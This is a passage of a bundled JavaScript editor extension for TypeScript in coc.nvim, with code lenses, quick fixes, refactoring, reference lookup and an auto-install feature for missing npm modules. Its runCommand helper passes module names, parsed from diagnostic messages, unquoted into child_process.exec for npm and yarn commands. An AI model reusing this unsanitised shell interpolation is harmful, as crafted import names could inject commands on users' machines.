codeLens.command = this.getCommand(locations, codeLens);
return codeLens;
}
}
catch (_a) {
// noop
}
codeLens.command = {
title: '0 implementations',
command: ''
};
return codeLens;
}
getCommand(locations, codeLens) {
let { uri } = codeLens.data;
return {
title: this.getTitle(locations),
command: locations.length ? 'editor.action.showReferences' : '',
arguments: [uri, codeLens.range.start, locations]
};
}
getTitle(locations) {
return locations.length === 1 ? '1 implementation' : `${locations.length} implementations`;
}
extractSymbol(document, item, _parent) {
switch (item.kind) {
case PConst.Kind.interface:
return super.getSymbolRange(document, item);
case PConst.Kind.class:
case PConst.Kind.method:
case PConst.Kind.memberVariable:
case PConst.Kind.memberGetAccessor:
case PConst.Kind.memberSetAccessor:
if (item.kindModifiers.match(/\babstract\b/g)) {
return super.getSymbolRange(document, item);
}
break;
}
return null;
}
}
exports.default = TypeScriptImplementationsCodeLensProvider;
/***/ }),
/* 100 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
Object.defineProperty(exports, "__esModule", ({ value: true }));
const coc_nvim_1 = __webpack_require__(1);
const vscode_languageserver_protocol_1 = __webpack_require__(3);
const helper_1 = __webpack_require__(101);
class ImportFixProvider {
constructor(bufferSyncSupport) {
this.bufferSyncSupport = bufferSyncSupport;
}
async provideCodeActions(document, _range, context, _token) {
if (this.bufferSyncSupport.hasPendingDiagnostics(document.uri)) {
return [];
}
let diagnostics = context.diagnostics.filter(d => d.code == 2304);
if (!diagnostics.length)
return [];
let edits = [];
let names = [];
let doc = coc_nvim_1.workspace.getDocument(document.uri);
let command;
for (const diagnostic of diagnostics) {
let { range } = diagnostic;
let line = doc.getline(range.start.line);
let name = line.slice(range.start.character, range.end.character);
if (names.indexOf(name) !== -1)
continue;
if (helper_1.nodeModules.indexOf(name) !== -1) {
names.push(name);
edits.push({
range: vscode_languageserver_protocol_1.Range.create(0, 0, 0, 0),
newText: `import ${name} from '${name}'\n`
});
command = 'tsserver.organizeImports';
}
}
let edit = {
changes: {
[document.uri]: edits
}
};
let cmd = null;
if (command)
cmd = {
title: `fix import`,
command: 'tsserver.organizeImports'
};
return [{
title: `Add import ${names.join(', ')}`,
edit,
command: cmd
}];
}
}
exports.default = ImportFixProvider;
/***/ }),
/* 101 */
/***/ ((__unused_webpack_module, exports) => {
"use strict";
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.nodeModules = void 0;
exports.nodeModules = [
'assert',
'cluster',
'crypto',
'dns',
'domain',
'events',
'fs',
'http',
'http2',
'https',
'inspector',
'net',
'os',
'path',
'punycode',
'querystring',
'readline',
'repl',
'stream',
'string_decoder',
'tls',
'tty',
'url',
'util',
'v8',
'vm',
'zlib',
'perf_hooks'
];
/***/ }),
/* 102 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
Object.defineProperty(exports, "__esModule", ({ value: true }));
const coc_nvim_1 = __webpack_require__(1);
const vscode_languageserver_protocol_1 = __webpack_require__(3);
const modules_1 = __webpack_require__(103);
class InstallModuleProvider {
constructor(client) {
this.client = client;
coc_nvim_1.commands.registerCommand('_tsserver.installModule', async (uri, name) => {
await modules_1.installModules(uri, [name]);
});
}
async provideCodeActions(document, _range, context, _token) {
const uri = coc_nvim_1.Uri.parse(document.uri);
if (uri.scheme != 'file')
return null;
let { diagnostics } = context;
let diags = diagnostics.filter(s => s.code == 2307);
let names = diags.map(o => {
let ms = o.message.match(/module\s'(.+)'/);
return ms ? ms[1] : null;
});
names = names.filter(s => s != null);
if (!names.length)
return null;
let actions = [];
for (let name of names) {
let title = `install ${name}`;
let command = {
title: `install ${name}`,
command: '_tsserver.installModule',
arguments: [document.uri, name]
};
let codeAction = vscode_languageserver_protocol_1.CodeAction.create(title, command, vscode_languageserver_protocol_1.CodeActionKind.QuickFix);
actions.push(codeAction);
}
return actions;
}
}
exports.default = InstallModuleProvider;
/***/ }),
/* 103 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.installModules = exports.distinct = exports.moduleExists = exports.runCommand = void 0;
const child_process_1 = __webpack_require__(104);
const coc_nvim_1 = __webpack_require__(1);
const fs_1 = __importDefault(__webpack_require__(105));
const path_1 = __importDefault(__webpack_require__(13));
function runCommand(cmd, cwd, timeout) {
return new Promise((resolve, reject) => {
let timer;
if (timeout) {
timer = setTimeout(() => {
reject(new Error(`timeout after ${timeout}s`));
}, timeout * 1000);
}
child_process_1.exec(cmd, { cwd }, (err, stdout) => {
if (timer)
clearTimeout(timer);
if (err) {
reject(new Error(`exited with ${err.code}`));
return;
}
resolve(stdout);
});
});
}
exports.runCommand = runCommand;
async function getManager() {
let res = await coc_nvim_1.workspace.findUp(['yarn.lock', 'package-lock.json']);
if (!res)
return 'yarn';
return res.endsWith('yarn.lock') ? 'yarn' : 'npm';
}
async function moduleExists(name) {
try {
let content = await runCommand(`npm info ${name} --json`, process.cwd());
if (!content)
return false;
let obj = JSON.parse(content);
if (obj.error != null)
return false;
return true;
}
catch (e) {
return false;
}
return false;
}
exports.moduleExists = moduleExists;
/**
* Removes duplicates from the given array. The optional keyFn allows to specify
* how elements are checked for equalness by returning a unique string for each.
*/
function distinct(array, keyFn) {
if (!keyFn) {
return array.filter((element, position) => {
return array.indexOf(element) === position;
});
}
const seen = Object.create(null);
return array.filter(elem => {
const key = keyFn(elem);
if (seen[key]) {
return false;
}
seen[key] = true;
return true;
});
}
exports.distinct = distinct;
async function installModules(uri, names) {
names = distinct(names);
let workspaceFolder = coc_nvim_1.workspace.getWorkspaceFolder(uri);
let root = workspaceFolder ? coc_nvim_1.Uri.parse(workspaceFolder.uri).fsPath : undefined;
if (!root || !fs_1.default.existsSync(path_1.default.join(root, 'package.json'))) {
coc_nvim_1.window.showMessage(`package.json not found from workspaceFolder: ${root}`, 'error');
return;
}
let arr = names.concat(names.map(s => `@types/${s}`));
let statusItem = coc_nvim_1.window.createStatusBarItem(99, { progress: true });
statusItem.text = `Checking module ${arr.join(' ')}`;
statusItem.show();
let exists = await Promise.all(arr.map(name => {
return moduleExists(name).then(exists => {
return exists ? name : null;
});
}));
let manager = await getManager();
exists = exists.filter(s => s != null);
if (!exists.length)
return;
let devs = exists.filter(s => s.startsWith('@types'));
let deps = exists.filter(s => devs.indexOf(s) == -1);
statusItem.text = `Installing ${exists.join(' ')}`;
try {
let cmd = manager == 'npm' ? `npm i ${deps.join(' ')}` : `yarn add ${deps.join(' ')}`;
await runCommand(cmd, root);
cmd = manager == 'npm' ? `npm i ${deps.join(' ')} --save-dev` : `yarn add ${deps.join(' ')} --save-dev`;
await runCommand(cmd, root);
}
catch (e) {
statusItem.dispose();
coc_nvim_1.window.showMessage(`Install error ${e.message}`, 'error');
return;
}
statusItem.dispose();
coc_nvim_1.window.showMessage(`Installed: ${exists.join(' ')}`, 'more');
}
exports.installModules = installModules;
/***/ }),
/* 104 */
/***/ ((module) => {
"use strict";
module.exports = require("child_process");;
/***/ }),
/* 105 */
/***/ ((module) => {
"use strict";
module.exports = require("fs");;
/***/ }),
/* 106 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
const coc_nvim_1 = __webpack_require__(1);
const vscode_languageserver_protocol_1 = __webpack_require__(3);
const commands_1 = __webpack_require__(107);
const api_1 = __importDefault(__webpack_require__(36));
const codeAction_1 = __webpack_require__(88);
const typeConverters = __importStar(__webpack_require__(82));
class ApplyCodeActionCommand {
constructor(client, formattingConfigurationManager) {
this.client = client;
this.formattingConfigurationManager = formattingConfigurationManager;
this.id = ApplyCodeActionCommand.ID;
}
async execute(action) {
return codeAction_1.applyCodeActionCommands(this.client, action);
}
}
ApplyCodeActionCommand.ID = '_typescript.applyCodeActionCommand';
class ApplyFixAllCodeAction {
constructor(client, formattingConfigurationManager) {
this.client = client;
this.formattingConfigurationManager = formattingConfigurationManager;
this.id = ApplyFixAllCodeAction.ID;
}
async execute(document, file, tsAction) {
if (!tsAction.fixId) {
return;
}
await this.formattingConfigurationManager.ensureConfigurationForDocument(document, vscode_languageserver_protocol_1.CancellationToken.None);
const args = {
scope: {
type: 'file',
args: { file }
},
fixId: tsAction.fixId
};
try {
const res = await this.client.execute('getCombinedCodeFix', args, vscode_languageserver_protocol_1.CancellationToken.None);
if (res.type != 'response') {
return;
}
let { body } = res;
const edit = typeConverters.WorkspaceEdit.fromFileCodeEdits(this.client, body.changes);
await coc_nvim_1.workspace.applyEdit(edit);
const token = vscode_languageserver_protocol_1.CancellationToken.None;
const { commands } = body;
if (commands && commands.length) {
for (const command of commands) {
await this.client.execute('applyCodeActionCommand', { command }, token);
}
}
}
catch (_a) {
// noop
}
}
}
ApplyFixAllCodeAction.ID = '_typescript.applyFixAllCodeAction';
/**
* Unique set of diagnostics keyed on diagnostic range and error code.
*/
class DiagnosticsSet {
constructor(_values) {
this._values = _values;
}
static from(diagnostics) {
const values = new Map();
for (const diagnostic of diagnostics) {
values.set(DiagnosticsSet.key(diagnostic), diagnostic);
}
return new DiagnosticsSet(values);
}
static key(diagnostic) {
const { start, end } = diagnostic.range;
return `${diagnostic.code}-${start.line},${start.character}-${end.line},${end.character}`;
}
get values() {
return this._values.values();
}
}
class SupportedCodeActionProvider {
constructor(client) {
this.client = client;
}
async getFixableDiagnosticsForContext(context) {
const supportedActions = await this.supportedCodeActions;
const fixableDiagnostics = DiagnosticsSet.from(context.diagnostics.filter(diagnostic => supportedActions.has(+diagnostic.code)));
return Array.from(fixableDiagnostics.values);
}
get supportedCodeActions() {
if (!this._supportedCodeActions) {
return new Promise((resolve, reject) => {
this.client.execute('getSupportedCodeFixes', null, vscode_languageserver_protocol_1.CancellationToken.None).then(res => {
if (res.type !== 'response') {
resolve(new Set());
return;
}
let codes = res.body.map(code => +code).filter(code => !isNaN(code));
resolve(new Set(codes));
}, reject);
});
}
return Promise.resolve(this._supportedCodeActions);
}
}
class TypeScriptQuickFixProvider {
constructor(client, formattingConfigurationManager) {
this.client = client;
this.formattingConfigurationManager = formattingConfigurationManager;
commands_1.registCommand(new ApplyCodeActionCommand(client, formattingConfigurationManager));
commands_1.registCommand(new ApplyFixAllCodeAction(client, formattingConfigurationManager));
this.supportedCodeActionProvider = new SupportedCodeActionProvider(client);
}
async provideCodeActions(document, _range, context, token) {
const file = this.client.toPath(document.uri);
if (!file) {
return [];
}
await this.formattingConfigurationManager.ensureConfigurationForDocument(document, token);
const fixableDiagnostics = await this.supportedCodeActionProvider.getFixableDiagnosticsForContext(context);
if (!fixableDiagnostics.length) {
return [];
}
if (this.client.bufferSyncSupport.hasPendingDiagnostics(document.uri)) {
return [];
}
const results = [];
for (const diagnostic of fixableDiagnostics) {
results.push(...(await this.getFixesForDiagnostic(document, file, diagnostic, token)));
}
return results;
}
async getFixesForDiagnostic(document, file, diagnostic, token) {
const args = Object.assign(Object.assign({}, typeConverters.Range.toFileRangeRequestArgs(file, diagnostic.range)), { errorCodes: [+diagnostic.code] });
const codeFixesResponse = await this.client.execute('getCodeFixes', args, token);
if (codeFixesResponse.type != 'response') {
return [];
}
if (codeFixesResponse.body) {
const results = [];
for (const tsCodeFix of codeFixesResponse.body) {
results.push(...(await this.getAllFixesForTsCodeAction(document, file, diagnostic, tsCodeFix)));
}
return results;
}
return [];
}
async getAllFixesForTsCodeAction(document, file, diagnostic, tsAction) {
const singleFix = this.getSingleFixForTsCodeAction(diagnostic, tsAction);
const fixAll = await this.getFixAllForTsCodeAction(document, file, diagnostic, tsAction);
return fixAll ? [singleFix, fixAll] : [singleFix];
}
getSingleFixForTsCodeAction(diagnostic, tsAction) {
const codeAction = {
title: tsAction.description,
kind: vscode_languageserver_protocol_1.CodeActionKind.QuickFix
};
codeAction.edit = codeAction_1.getEditForCodeAction(this.client, tsAction);
codeAction.diagnostics = [diagnostic];
codeAction.isPreferred = true;
if (tsAction.commands) {
codeAction.command = {
command: ApplyCodeActionCommand.ID,
arguments: [tsAction],
title: tsAction.description
};
}
return codeAction;
}
async getFixAllForTsCodeAction(document, file, diagnostic, tsAction) {
if (!tsAction.fixId || !this.client.apiVersion.gte(api_1.default.v270)) {
return undefined;
}
// Make sure there are multiple diagnostics of the same type in the file
if (!this.client.diagnosticsManager
.getDiagnostics(document.uri)
.some(x => x.code === diagnostic.code && x !== diagnostic)) {
return;
}
const action = {
title: tsAction.fixAllDescription || 'Fix all in file',
kind: vscode_languageserver_protocol_1.CodeActionKind.QuickFix
};
action.diagnostics = [diagnostic];
action.command = {
command: ApplyFixAllCodeAction.ID,
arguments: [document, file, tsAction],
title: ''
};
return action;
}
}
exports.default = TypeScriptQuickFixProvider;
/***/ }),
/* 107 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.registCommand = exports.ConfigurePluginCommand = exports.AutoFixCommand = exports.TypeScriptGoToProjectConfigCommand = exports.OpenTsServerLogCommand = exports.ReloadProjectsCommand = void 0;
const coc_nvim_1 = __webpack_require__(1);
const vscode_languageserver_types_1 = __webpack_require__(18);
const helper_1 = __webpack_require__(101);
const modules_1 = __webpack_require__(103);
const typeConverters = __importStar(__webpack_require__(82));
class ReloadProjectsCommand {
constructor(service) {
this.service = service;
this.id = 'tsserver.reloadProjects';
}
async execute() {
let client = await this.service.getClientHost();
client.reloadProjects();
coc_nvim_1.window.showMessage('projects reloaded');
}
}
exports.ReloadProjectsCommand = ReloadProjectsCommand;
class OpenTsServerLogCommand {
constructor(service) {
this.service = service;
this.id = 'tsserver.openTsServerLog';
}
async execute() {
let client = await this.service.getClientHost();
client.serviceClient.openTsServerLogFile(); // tslint:disable-line
}
}
exports.OpenTsServerLogCommand = OpenTsServerLogCommand;
class TypeScriptGoToProjectConfigCommand {
constructor(service) {
this.service = service;
this.id = 'tsserver.goToProjectConfig';
}
async execute() {
let client = await this.service.getClientHost();
let doc = await coc_nvim_1.workspace.document;
let { languageId } = doc.textDocument;
if (client.serviceClient.modeIds.indexOf(languageId) == -1) {
throw new Error(`Could not determine TypeScript or JavaScript project. Unsupported file type: ${languageId}`);
return;
}
await goToProjectConfig(client, doc.uri);
}
}
exports.TypeScriptGoToProjectConfigCommand = TypeScriptGoToProjectConfigCommand;
async function goToProjectConfig(clientHost, uri) {
const client = clientHost.serviceClient;
const file = client.toPath(uri);
let res;
try {
res = await client.execute('projectInfo', { file, needFileNameList: false }, coc_nvim_1.CancellationToken.None);
}
catch (_a) {
// noop
}
if (!res || !res.body) {
coc_nvim_1.window.showMessage('Could not determine TypeScript or JavaScript project.', 'warning');
return;
}
const { configFileName } = res.body;
if (configFileName && !isImplicitProjectConfigFile(configFileName)) {
await coc_nvim_1.workspace.openResource(coc_nvim_1.Uri.file(configFileName).toString());
return;
}
coc_nvim_1.window.showMessage('Config file not found', 'warning');
}
function isImplicitProjectConfigFile(configFileName) {
return configFileName.indexOf('/dev/null/') === 0;
}
const autoFixableDiagnosticCodes = new Set([
2420,
2552,
2304,
]);
class AutoFixCommand {
constructor(service) {
this.service = service;
this.id = 'tsserver.executeAutofix';
}
async execute() {
if (this.service.state != coc_nvim_1.ServiceStat.Running) {
throw new Error('service not running');
return;
}
let client = await this.service.getClientHost();
let document = await coc_nvim_1.workspace.document;
let handles = await client.handles(document.textDocument);
if (!handles) {
throw new Error(`Document ${document.uri} is not handled by tsserver.`);
return;
}
let file = client.serviceClient.toPath(document.uri);
let diagnostics = coc_nvim_1.diagnosticManager.getDiagnostics(document.uri).slice();
let missingDiagnostics = diagnostics.filter(o => o.code == 2307);
if (missingDiagnostics.length) {
let names = missingDiagnostics.map(o => {
let ms = o.message.match(/module\s'(.+)'\./);
return ms ? ms[1] : null;
});
names = names.filter(s => s != null);
if (names.length) {
modules_1.installModules(document.uri, names).catch(e => {
console.error(e.message); // tslint:disable-line
});
}
}
diagnostics = diagnostics.filter(x => autoFixableDiagnosticCodes.has(x.code));
if (diagnostics.length == 0)
return;
diagnostics = diagnostics.reduce((arr, curr) => {
if (curr.code == 2304 && arr.findIndex(o => o.message == curr.message) != -1)
return arr;
arr.push(curr);
return arr;
}, []);
let edits = [];
let command;
let names = [];
for (let diagnostic of diagnostics) {
const args = Object.assign(Object.assign({}, typeConverters.Range.toFileRangeRequestArgs(file, diagnostic.range)), { errorCodes: [+(diagnostic.code)] });
const response = await client.serviceClient.execute('getCodeFixes', args, coc_nvim_1.CancellationToken.None);
if (response.type !== 'response' || !response.body || response.body.length < 1) {
if (diagnostic.code == 2304) {
let { range } = diagnostic;
let line = document.getline(range.start.line);
let name = line.slice(range.start.character, range.end.character);
if (helper_1.nodeModules.indexOf(name) !== -1 && names.indexOf(name) == -1) {
names.push(name);
edits.push({
range: vscode_languageserver_types_1.Range.create(0, 0, 0, 0),
newText: `import ${name} from '${name}'\n`
});
command = 'tsserver.organizeImports';
}
}
continue;
}
const fix = response.body[0];
for (let change of fix.changes) {
if (change.fileName != file)
continue;
// change.fileName
for (let ch of change.textChanges) {
edits.push({
range: typeConverters.Range.fromTextSpan(ch),
newText: ch.newText
});
}
}
}
if (edits.length)
await document.applyEdits(edits);
if (command)
coc_nvim_1.commands.executeCommand(command);
}
}
exports.AutoFixCommand = AutoFixCommand;
class ConfigurePluginCommand {
constructor(pluginManager) {
this.pluginManager = pluginManager;
this.id = '_typescript.configurePlugin';
}
execute(pluginId, configuration) {
this.pluginManager.setConfiguration(pluginId, configuration);
}
}
exports.ConfigurePluginCommand = ConfigurePluginCommand;
function registCommand(cmd) {
let { id, execute } = cmd;
return coc_nvim_1.commands.registerCommand(id, execute, cmd);
}
exports.registCommand = registCommand;
/***/ }),
/* 108 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
const coc_nvim_1 = __webpack_require__(1);
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
const vscode_languageserver_protocol_1 = __webpack_require__(3);
const commands_1 = __webpack_require__(107);
const typeConverters = __importStar(__webpack_require__(82));
class ApplyRefactoringCommand {
constructor(client) {
this.client = client;
this.id = ApplyRefactoringCommand.ID;
}
async execute(document, file, refactor, action, range) {
const args = Object.assign(Object.assign({}, typeConverters.Range.toFileRangeRequestArgs(file, range)), { refactor,
action });
const response = await this.client.execute('getEditsForRefactor', args, vscode_languageserver_protocol_1.CancellationToken.None);
const body = response && response.body;
if (!body || !body.edits.length) {
return false;
}
const workspaceEdit = await this.toWorkspaceEdit(body);
if (!(await coc_nvim_1.workspace.applyEdit(workspaceEdit))) {
return false;
}
const renameLocation = body.renameLocation;
if (renameLocation) {
coc_nvim_1.commands.executeCommand('editor.action.rename', document.uri, typeConverters.Position.fromLocation(renameLocation));
}
return true;
}
async toWorkspaceEdit(body) {
for (const edit of body.edits) {
await coc_nvim_1.workspace.createFile(edit.fileName, { ignoreIfExists: true });
}
let workspaceEdit = typeConverters.WorkspaceEdit.fromFileCodeEdits(this.client, body.edits);
return workspaceEdit;
}
}
ApplyRefactoringCommand.ID = '_typescript.applyRefactoring';
class SelectRefactorCommand {
constructor(doRefactoring) {
this.doRefactoring = doRefactoring;
this.id = SelectRefactorCommand.ID;
}
async execute(document, file, info, range) {
let { actions } = info;
const idx = actions.length == 1 ? 0 : await coc_nvim_1.window.showQuickpick(actions.map(action => action.description || action.name));
if (idx == -1)
return false;
let label = info.actions[idx].name;
if (!label)
return false;
return this.doRefactoring.execute(document, file, info.name, label, range);
}
}
SelectRefactorCommand.ID = '_typescript.selectRefactoring';
class TypeScriptRefactorProvider {
constructor(client, formattingOptionsManager) {
this.client = client;
this.formattingOptionsManager = formattingOptionsManager;
const doRefactoringCommand = new ApplyRefactoringCommand(this.client);
commands_1.registCommand(doRefactoringCommand);
commands_1.registCommand(new SelectRefactorCommand(doRefactoringCommand));
}
async provideCodeActions(document, range, context, token) {
if (!this.shouldTrigger(context)) {
return undefined;
}
const file = this.client.toPath(document.uri);
if (!file)
return undefined;
await this.formattingOptionsManager.ensureConfigurationForDocument(document, token);
const args = typeConverters.Range.toFileRangeRequestArgs(file, range);
let response;
try {
response = await this.client.interruptGetErr(() => {
return this.client.execute('getApplicableRefactors', args, token);
});
if (!response || !response.body) {
return undefined;
}
}
catch (_a) {
return undefined;
}
return this.convertApplicableRefactors(response.body, document, file, range, context.only && context.only.some(v => v.includes(vscode_languageserver_protocol_1.CodeActionKind.Refactor)));
}
convertApplicableRefactors(body, document, file, rangeOrSelection, setPrefrred) {
const actions = [];
for (const info of body) {
// ignore not refactor that not applicable
if (info.notApplicableReason)
continue;
if (!info.inlineable) {
const codeAction = {
title: info.description,
kind: vscode_languageserver_protocol_1.CodeActionKind.Refactor
};
codeAction.command = {
title: info.description,
command: SelectRefactorCommand.ID,
arguments: [document, file, info, rangeOrSelection]
};
actions.push(codeAction);
}
else {
for (const action of info.actions) {
let codeAction = this.refactorActionToCodeAction(action, document, file, info, rangeOrSelection);
if (setPrefrred) {
codeAction.isPreferred = TypeScriptRefactorProvider.isPreferred(action, info.actions);
}
actions.push(codeAction);
}
}
}
return actions;
}
refactorActionToCodeAction(action, document, file, info, rangeOrSelection) {
const codeAction = {
title: action.description,
kind: TypeScriptRefactorProvider.getKind(action)
};
codeAction.command = {
title: action.description,
command: ApplyRefactoringCommand.ID,
arguments: [document, file, info.name, action.name, rangeOrSelection]
};
return codeAction;
}
shouldTrigger(context) {
if (context.only &&
context.only.every(o => !o.includes(vscode_languageserver_protocol_1.CodeActionKind.Refactor))) {
return false;
}
return true;
}
static getKind(refactor) {
if (refactor.name.startsWith('function_')) {
return TypeScriptRefactorProvider.extractFunctionKind;
}
else if (refactor.name.startsWith('constant_')) {
return TypeScriptRefactorProvider.extractConstantKind;
}
else if (refactor.name.startsWith('Move')) {
return TypeScriptRefactorProvider.moveKind;
}
return vscode_languageserver_protocol_1.CodeActionKind.Refactor;
}
static isPreferred(action, allActions) {
let kind = TypeScriptRefactorProvider.getKind(action);
if (TypeScriptRefactorProvider.extractConstantKind == kind) {
// Only mark the action with the lowest scope as preferred
const getScope = (name) => {
var _a;
const scope = (_a = name.match(/scope_(\d)/)) === null || _a === void 0 ? void 0 : _a[1];
return scope ? +scope : undefined;
};
const scope = getScope(action.name);
if (typeof scope !== 'number') {
return false;
}
return allActions
.filter(otherAtion => otherAtion !== action && otherAtion.name.startsWith('constant_'))
.every(otherAction => {
const otherScope = getScope(otherAction.name);
return typeof otherScope === 'number' ? scope < otherScope : true;
});
}
let { name } = action;
if (name.startsWith('Extract to type alias') || name.startsWith('Extract to interface')) {
return true;
}
return false;
}
}
exports.default = TypeScriptRefactorProvider;
TypeScriptRefactorProvider.extractFunctionKind = vscode_languageserver_protocol_1.CodeActionKind.RefactorExtract + '.function';
TypeScriptRefactorProvider.extractConstantKind = vscode_languageserver_protocol_1.CodeActionKind.RefactorExtract + '.constant';
TypeScriptRefactorProvider.moveKind = vscode_languageserver_protocol_1.CodeActionKind.Refactor + '.move';
TypeScriptRefactorProvider.metadata = {
providedCodeActionKinds: [vscode_languageserver_protocol_1.CodeActionKind.Refactor]
};
/***/ }),
/* 109 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
const typeConverters = __importStar(__webpack_require__(82));
class TypeScriptReferences {
constructor(client) {
this.client = client;
}
async provideReferences(document, position, context, token) {
const filepath = this.client.toPath(document.uri);
if (!filepath)
return [];
const args = typeConverters.Position.toFileLocationRequestArgs(filepath, position);
try {
const msg = await this.client.execute('references', args, token);
if (!msg || msg.type != 'response' || !msg.body) {
return [];
}
const result = [];
for (const ref of msg.body.refs) {
if (!context.includeDeclaration && ref.isDefinition) {
continue;
}
const url = this.client.toResource(ref.file);
const location = typeConverters.Location.fromTextSpan(url, ref);
result.push(location);
}
return result;
}
catch (_a) {
return [];
}
}
}
exports.default = TypeScriptReferences;
/***/ }),
/* 110 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
const PConst = __importStar(__webpack_require__(87));
const typeConverters = __importStar(__webpack_require__(82));
const baseCodeLensProvider_1 = __webpack_require__(84);
class TypeScriptReferencesCodeLensProvider extends baseCodeLensProvider_1.TypeScriptBaseCodeLensProvider {
resolveCodeLens(codeLens, token) {
let { uri } = codeLens.data;
let filepath = this.client.toPath(uri);
const args = typeConverters.Position.toFileLocationRequestArgs(filepath, codeLens.range.start);
return this.client
.execute('references', args, token, {
lowPriority: true
})
.then(response => {
if (!response || response.type != 'response' || !response.body) {
throw codeLens;
}
const locations = response.body.refs
.map(reference => typeConverters.Location.fromTextSpan(this.client.toResource(reference.file), reference))
.filter(location =>
// Exclude original definition from references
!(location.uri.toString() === uri &&
location.range.start.line === codeLens.range.start.line &&
location.range.start.character ===
codeLens.range.start.character));
codeLens.command = {
title: locations.length === 1 ? '1 reference' : `${locations.length} references`,
command: locations.length ? 'editor.action.showReferences' : '',
arguments: [uri, codeLens.range.start, locations]
};
return codeLens;
})
.catch(() => {
codeLens.command = {
title: '0 references',
command: ''
};
return codeLens;
});
}
extractSymbol(document, item, parent) {
if (parent && parent.kind === PConst.Kind.enum) {
return super.getSymbolRange(document, item);
}
switch (item.kind) {
case PConst.Kind.const:
case PConst.Kind.let:
case PConst.Kind.variable:
case PConst.Kind.function:
// Only show references for exported variables
if (!item.kindModifiers.match(/\bexport\b/)) {
break;
}
// fallthrough
case PConst.Kind.class:
if (item.text === '<class>') {
break;
}
// fallthrough
case PConst.Kind.method:
case PConst.Kind.memberVariable:
case PConst.Kind.memberGetAccessor:
